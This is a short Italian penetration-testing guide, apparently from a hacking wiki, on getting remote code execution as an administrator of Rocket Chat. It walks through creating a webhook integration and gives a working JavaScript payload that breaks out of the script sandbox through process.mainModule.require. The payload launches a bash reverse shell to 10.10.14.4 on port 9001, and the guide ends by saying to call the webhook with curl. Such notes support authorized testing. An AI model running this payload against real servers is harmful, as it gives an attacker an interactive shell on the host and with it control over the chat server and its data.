Rocket Chat

Reading time: 2 minutes

RCE

Se sei un admin all'interno di Rocket Chat puoi ottenere RCE.

• Vai su Integrations e seleziona New Integration e scegli uno qualsiasi: Incoming WebHook o Outgoing WebHook.
• /admin/integrations/incoming

• Secondo la docs, entrambi utilizzano ES2015 / ECMAScript 6 (fondamentalmente JavaScript) per elaborare i dati. Quindi otteniamo una rev shell per javascript come:

const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Configura il WebHook (il canale e il post come nome utente devono esistere):

• Configura lo script WebHook:

• Salva le modifiche
• Ottieni l'URL WebHook generato:

• Chiamalo con curl e dovresti ricevere la rev shell